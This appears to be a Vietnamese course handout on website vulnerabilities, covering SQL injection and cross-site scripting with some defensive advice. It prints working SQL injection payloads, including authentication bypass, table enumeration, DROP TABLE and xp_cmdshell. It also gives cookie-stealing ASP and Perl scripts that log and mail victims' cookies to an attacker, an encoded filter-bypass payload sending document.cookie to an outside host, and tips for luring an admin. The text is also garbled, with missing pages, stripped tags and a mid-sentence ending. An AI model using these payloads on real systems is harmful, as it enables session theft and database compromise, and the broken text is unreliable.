2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Đề Tài:
Các Lỗ Hỏng Thường Gặp Trên Hệ
Thống Website
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 1
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
A. Lỗ hổng bảo mật Trên Hệ Thống Website:
1.Khái Niệm:
Các lỗ hổng bảo mật trên một hệ thống là các điểm yếu có thể tạo ra sự
ngưng trệ của dịch vụ, thêm quyền đối với người sử dụng hoặc cho phép
các truy nhập không hợp pháp vào hệ thống. Các lỗ hổng cũng có thể nằm
ngay các dịch vụ cung cấp như sendmail, web, ftp ... Ngoài ra các lỗ hổng
còn tồn tại ngay chính tại hệ điều hành như trong Windows NT, Windows
95, UNIX; hoặc trong các ứng dụng mà người sử dụng thương xuyên sử
dụng như Word processing, Các hệ databases...
2.Phân loại lỗ hổng bảo mật :
Có nhiều tổ chức khác nhau tiến hành phân loại các dạng lỗ hổng đặc biêt.
Theo cách phân loại của Bộ quốc phòng Mỹ, các loại lỗ hổng bảo mật trên
một hệ thống được chia như sau:
- Lỗ hổng loại C: các lỗ hổng loại này cho phép thực hiện các phương
thức tấn công theo DoS (Dinal of Services - Từ chối dịch vụ). Mức độ
nguy hiểm thấp, chỉ ảnh hưởng tới chất lượng dịch vụ, có thể làm ngưng
trệ, gián đoạn hệ thống; không làm phá hỏng dữ liệu hoặc đạt được quyền
truy nhập bất hợp pháp
- Lổ hổng loại B: Các lỗ hổng cho phép người sử dụng có thêm các quyền
trên hệ thống mà không cần thực hiện kiểm tra tính hợp lệ. Mức độ nguy
hiểm trung bình; Những lỗ hổng này thường có trong các ứng dụng trên
hệ thống; có thể dẫn đến mất hoặc lộ thông tin yêu cầu bảo mật.
- Lỗ hổng loại A: Các lỗ hổng này cho phép người sử dụng ở ngoài có thể
truy nhập vào hệ thống bất hợp pháp. Lỗ hổng rất nguy hiểm, có thể làm
phá hủy toàn bộ hệ thống.
Sau đây sẽ phân tích một số lỗ hổng bảo mật thường xuất hiện trên mạng
và hệ thống
3.Các kiểu tấn công thường gặp:
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 2
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
-SQL Injection.
- Cross site scripting (XSS): non-persistent
-Local Attack
-Google Hack
B. Các Kiểu Tấn Công Thường Gặp Và Cách Phòng
Chống:
I/SQL ịnjection:
1. SQL Injection là gì?
Khi triển khai các ứng dụng web trên Internet, nhiều người vẫn
nghĩ rằng việc đảm bảo an toàn, bảo mật nhằm giảm thiểu tối đa khả năng
bị tấn công từ các tin tặc chỉ đơn thuần tập trung vào các vấn đề như chọn
hệ điều hành, hệ quản trị cơ sở dữ liệu, webserver sẽ chạy ứng dụng, ...
mà quên mất rằng ngay cả bản thân ứng dụng chạy trên đó cũng tiềm ẩn
một lỗ hổng bảo mật rất lớn. Một trong số các lỗ hổng này đó là SQL
injection.
SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng
lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các
thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi
hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng
dụng lường trước). Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn
công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền
trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang
chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản
lí bằng các
hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 3
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
2. Các dạng tấn công bằng SQL Injection
Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng
nhập (authorization bypass), sử dụng câu lện SELECT, sử dụng câu lệnh
INSERT, sử dụng các stored-procedures
a. Dạng tấn công vượt qua kiểm tra đăng nhập:
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng
nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu
của ứng dụng web.
Một ví dụ điển hình, thông thường để cho phép người dùng truy cập
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 4
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng
nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu.
Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng
nhập
và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực
hiện tiếp.
Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML
để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập
từ phía người dùng. Ví dụ:
CODE
CODE
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing
%>
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 5
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Thoạt nhìn, đoạn mã dường như không chứa bất cứ một lỗ hổng
về an toàn nào. Người dùng không thể đăng nhập mà không có tên đăng
nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự không an toàn
và là tiền đề cho một lỗi SQL injection. Đặc biệt, sơ hở nằm ở chỗ dữ liệu
nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL.
Chính điều này cho phép những kẻ tấn công có thể điều khiển câu truy
vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả
2 ô nhập liệu username/password của trang login.htm là:
' OR ' ' = ' '. Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and
USR_PASSWORD= '' OR ''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của
T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp
này như là người dùng đăng nhập hợp lệ.
b. Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công
này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các
thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn
công.
Xét một ví dụ rất thường gặp trong các website về tin tức. Thông thường,
sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung
của tin có ID này. Mã nguồn cho chức năng này thường được viết khá đơn
giản theo dạng
CODE
<%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" &
vNewsID
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 6
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
3
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
Set objRS = Nothing
%>
Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của tin
có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên,
giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi
SQL injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách
gán ID cho một giá trị khác, và từ đó, khởi đầu cho một cuộc tấn công bất
hợp pháp, ví dụ như: 0 OR 1=1
Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó
sẽ thực hiện câu lệnh:
SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1
Một trường hợp khác, ví dụ như trang tìm kiếm. Trang này cho phép
người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã
thường gặp là:
CODE
<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE
AUTHOR_NAME =' " & _
vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
…
Set objRS = Nothing
%>
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 7
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn
SQL để nhập vào trường tên bằng chuỗi giá trị:
' UNION SELECT ALL SELECT OtherField FROM OtherTable
WHERE ' '=' (*)
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ
thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa.
Tất nhiên các ví dụ nói trên, dường như không có gì nguy hiểm, nhưng kẻ
tấn công có thể xóa toàn bộ cơ sở dữ liệu bằng cách chèn vào các đoạn
lệnh nguy hiểm như lệnh DROP TABLE. Ví dụ như: ' DROP TABLE
T_AUTHORS --
Nhập vào chuỗi (*) như trên, nếu hệ thống báo lỗi về cú pháp dạng:
Invalid object name “OtherTable”; ta có thể biết chắc là hệ thống đã thực
hiện câu SELECT sau từ khóa UNION, vì như vậy mới có thể trả về lỗi
mà ta đã cố tình tạo ra trong câu lệnh SELECT.
Cũng sẽ có thắc mắc là làm thế nào có thể biết được tên của các bảng dữ
liệu mà thực hiện các thao tác phá hoại khi ứng dụng web bị lỗi SQL
injection. Cũng rất đơn giản, bởi vì trong SQL Server, có hai đối tượng là
sysobjects và syscolumns cho phép liệt kê tất cả các tên bảng và cột có
trong hệ thống. Ta chỉ cần chỉnh lại câu lệnh SELECT, ví dụ:
' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có
thể liệt kê được tên tất cả các bảng dữ liệu.
c. Dạng tấn công sử dụng câu lệnh INSERT
Thông thường các ứng dụng web cho phép người dùng đăng kí một
tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành
công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL
injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của
thông tin nhập vào.
Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO
TableName VALUES('Value One', 'Value Two', 'Value Three'). Nếu
đoạn mã xây dựng câu lệnh SQL có dạng :
CODE
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 8
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
<%
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne
& " ', ' " _
& strValueTwo & " ', ' " & strValueThree & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
…
Set objRS = Nothing
%>
Thì sẽ bị lỗi SQL injection, bởi vì nếu ta nhập vào trường thứ nhất ví dụ
như: ' + (SELECT TOP 1 FieldName FROM TableName) + '. Lúc này
câu truy vấn sẽ là: INSERT INTO TableName VALUES(' ' +
(SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def').
Khi đó, lúc thực hiện
lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa
đó là: SELECT TOP 1 FieldName FROM TableName
d Dạng tấn công sử dụng stored-procedures
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 9
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng
dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay
đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell „cmd.exe dir C: '. Lúc này
hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server.
Việc phá
hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
3. Cách phòng tránh
Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của
các lập trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào
để xây dựng câu lệnh SQL. Tác hại từ lỗi SQL injection tùy thuộc vào
môi trường và cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo
(quyền của
người sở hữu cơ sở dữ liệu - owner) khi thao tác dữ liệu, nó có thể xóa
toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử
dụng quyền sa (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ
quản trị cơ sở dữ liệu và với quyền hạn rộng lớn như vậy nó có thể tạo ra
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 10
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
các tài
khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn. Để phòng
tránh, ta có thể thực hiện ở hai mức:
a. Kiểm soát chặt chẽ dữ liệu nhập vào
Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu lệnh SQL là
bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ đối
tượng Request (Request, Request.QueryString, Request.Form,
Request.Cookies, and Request.ServerVariables). Ví dụ, có thể giới hạn
chiều dài của chuỗi nhập liệu, hoặc xây dựng hàm EscapeQuotes để thay
thế các dấu nháy đơn bằng 2 dấu nháy đơn như:
CODE
<%
Function EscapeQuotes(sInput)
sInput = replace(sInput, " ' ", " ' ' ")
EscapeQuotes = sInput
End Function
%>
Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay
thế một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL
bất hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng
kiểu hay không bằng hàm IsNumeric().
Ngoài ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa nguy hiểm
như: ;, --, select, insert, xp_, … ra khỏi chuỗi dữ liệu nhập từ phía người
dùng để hạn chế các tấn công dạng này:
CODE
<%
Function KillChars(sInput)
dim badChars
dim newChars
badChars = array("select", "drop", ";", "--", "insert", "delete",
"xp_")
newChars = strInput
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 11
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), "")
next
KillChars = newChars
End Function
%>
b. Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu
Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu
đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng
thông thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng
bị hạn chế, thiệt hại càng ít. Ngoài ra để tránh các nguy cơ từ SQL
Injection attack, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong
thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông
báo lỗi
thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết
được điểm yếu của hệ thống.
II/Cross Site Scripting (XSS):
1.Giới Thiệu:
Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công
phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo
mật quan trọng đối với các nhà phát triển web và cả những người sử dụng
web. Ngay cả đối với những trang như www.fbi.gov , www.yahoo.com ,
www.ebay.com cũng đã từng bị dính XSS .Bất kì một website nào cho
phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các
đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS. Trong bài viết này
sẽ đề cập sơ lược tới XSS với một số kinh nghiệm qua kĩ thuật tấn công
này.
2. XXS là gì?
Cross-Site Scripting hay còn được gọi tắt là XSS là một kĩ thuật tấn
công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...)
những đoạn mã script nguy hiểm để thực thi 1 câu lệnh nào đó . Trong đó,
những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 12
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả
các thẻ HTML.
Các phương thức XSS:
- non-persistent XSS (Reflected XSS)
-persistent XSS (Stored XSS)
-Dom-Based XSS
A. XSS hoạt động như thế nào?
Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó
cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm
chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Nó có thể là
một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các
URL như là
Code:
http://www.example.com/search.cgi?query=
Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS
was found !".
Các đoạn mã trong thẻ
Cookie victim sẽ lưu lại ở file xss.txt trên host của bạn
Bây giờ chỉ còn việc dụ "Alert" admin vào link, đổi
DIACHIDEDUDO.DUDO lai thành site muốn nó vào sau khi cookie đã
lưu lại.
+Dùng file .asp
Tạo 1 file cookie.asp có nội dung như thế này :
<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing
%>
Sau đó up lên host hỗ trợ asp , và cũng làm tương tự như trên .
CODE :
+Dùng file .cgi :
#! /usr/bin/perl
#steal.cgi by David Endler
#Specific to your system
$mailprog = '/usr/sbin/sendmail';
#creat log file
open (COOKIES,">>stolen_cookie_file");
#what victim see
print " Content-type: text /html \n\n";
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 17
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
print <
Cookie stealing
your cookie has been stolen hehe
EndOfHTML
#The QUERY_STRING enviroment variable should be filled with
#the cookie text after steal.cgi:
#http://www.hacker.com/steal.cgi?XXXXXXX
print COOKIES "$ENV{ ' QUERY_STRING ' } from $ENV { '
REMOTE_ADDR'} \n;
#now mail the alert as well so we can start hijack
open (MAIL,"|$mailprog -t");
print MAIL " To: hacker\ @hacker.com \n";
print MAIL " From: cookie_steal \ @hacker.com \n";
print MAIL " Subject :Stolen cookie \n\n";
print MAIL "-" x 75 . "\n\n;
print MAIL "$ENV{ 'QUERY_STRING'} from $ENV{
'REMOTE_ADDR'} \n";
close (MAIL);
sử dụng :
CODE
Không phải lúc nào bạn cũng có thể dễ dàng chèn code , lắm lúc
cũng phải linh hoạt 1 chút bởi vì người lập trình website cũng đâu thể nào
dễ dàng để cho chúng ta lộng hành như vậy , họ cũng có chiêu để ngăn
cản chúng ta , cách họ dùng là "Lọc code" (Anti-XSS Filter) . Cơ chế của
họ như sau : bộ lọc này sẽ loại bỏ các kí tự đặc biệt mà người dùng nhập
vào , đơn giản vậy thôi .
Giả sử :
1/ Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" :
Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với
:
') + ') + '\x3cscript
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 18
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
src=ht*p://hostbanupfile.com/cookie.asp?cookie="+document.cookie\
x3e\x3c/script\x3e'
Biến các đoạn code nguy hiểm thành lời chú giải (comment) :
Ví dụ khi hacker nhập vào < script>code< /script> thì sẽ bị chặn như sau :
Vượt qua cái này bằng cách dùng thẻ đóng để đóng cái
kia . Nghĩa là ta chèn cái này vào :
< script>

< /script>
Không cho JAVASCRIPT tồn tại :
Trong trường hợp này thì hầu hết các ký tự đặt biệt được nhập vào từ
người dùng đều bị lọc , do đó để vượt qua thì hacker phải mã hoá code
nhập vào :
http://sitebiloi.com/search.cgi?quer...alert%28%27XSS %27%29%7d%3b
Chuỗi "%26%7balert%28%27Mask%27%29%7d%3b" chính là
{alert('XSS')}; đã được mã hoá
C. Phát hiện XSS bằng cách nào ?
Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn
bạn có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các
trang web chứa các thông tin về bảo mật như securityfocus.com,
securiteam.com,... Tuy nhiên nếu các website được tự viết mã nguồn thì
bạn không thể áp dụng phương pháp trên. Trong trường hợp này bạn cần
đến các chương trình scanner tự động. Nếu như bạn sử dụng trong môi
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 19
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
trường Windows bạn có thể dùng N-Stealth hay AppScan, đó là những
chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà
nó còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó.
Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ
muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng
screamingCSS. Đó là một Perl Script sẽ mở các kết nối tới website (sử
dụng Perl's socket) để kiểm tra các lỗi XSS của bạn. Hơn nữa bạn có thể
sử dụng nó trong cả môi trường Unix lẫn Windows.
D. Ngăn ngừa XSS như thế nào ?
Người ta không lường hết được mức độ nguy hiểm của XSS
nhưng cũng không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để
có thể giải quyết vấn đề này.
OWASP (The Open Web Application Standard Project) nói rằng để có thể
xây dựng các website bảo mật cao, đối với các dữ liệu của người sử dụng
nên
+ Chỉ chấp nhận những dữ liệu hợp lệ.
+ Từ chối nhận các dữ liệu hỏng.
+ Liên tục kiểm tra và thanh lọc sữ liệu.
Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ
liệu hay không có một bộ lọc phù hợp. Chính vì vậy phải có những cách
riêng để giải quyết.
Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trước
khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử
dụng. Trong trường hợp này thẻ